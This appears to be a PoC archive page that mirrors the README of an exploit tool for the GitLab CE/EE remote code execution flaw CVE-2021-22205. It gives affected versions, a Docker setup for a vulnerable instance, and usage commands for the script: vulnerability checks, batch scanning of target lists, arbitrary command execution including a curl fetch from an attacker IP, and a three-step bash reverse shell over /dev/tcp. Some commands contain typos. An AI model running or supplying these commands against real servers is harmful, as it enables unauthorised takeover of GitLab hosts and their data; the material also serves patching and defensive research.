Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-22205 PoC — GitLab 代码注入漏洞

Source
Associated Vulnerability
Title:GitLab 代码注入漏洞 (CVE-2021-22205)
Description:An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution.
Description
CVE-2021-22205& GitLab CE/EE RCE
Readme
### Vuln Impact

An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution.

### Vuln Product

- Gitlab CE/EE < 13.10.3
- Gitlab CE/EE < 13.9.6
- Gitlab CE/EE < 13.8.8

### Environment

```C
export GITLAB_HOME=/srv/gitlab

sudo docker run --detach \
  --hostname gitlab.example.com \
  --publish 443:443 --publish 80:80 \
  --name gitlab \
  --restart always \
  --volume $GITLAB_HOME/config:/etc/gitlab \
  --volume $GITLAB_HOME/logs:/var/log/gitlab \
  --volume $GITLAB_HOME/data:/var/opt/gitlab \
  gitlab/gitlab-ce:13.9.1-ce.0
```

### Vunl Check

##### Basic usage

```c
python3 CVE-2021-2205.py
```


##### Vuln check

```c
python3 CVE-2021-2205.py -v true -t http://gitlab.example.com
```


##### command execute

```c
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "curl http://192.168.59.1:1234/1.txt"
```


```c
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'Attacked!!!' > /tmp/1.txt"
```



##### batch scan

```
python3 CVE-2021-2205.py -s true -f target.txt
```


##### Reserve Shell

```
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/1.sh"
```



```
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "chmod +x /tmp/1.sh"
```



```
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "/bin/bahs /tmp/1.sh"
```


### Reference

https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html
File Snapshot

[4.0K] /data/pocs/1e5a7a592c6605fe2c9349c6d5bdfaf3e5dce7c6 ├── [7.0K] CVE-2021-22205.py ├── [1.7K] README.md └── [ 26] target.txt 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →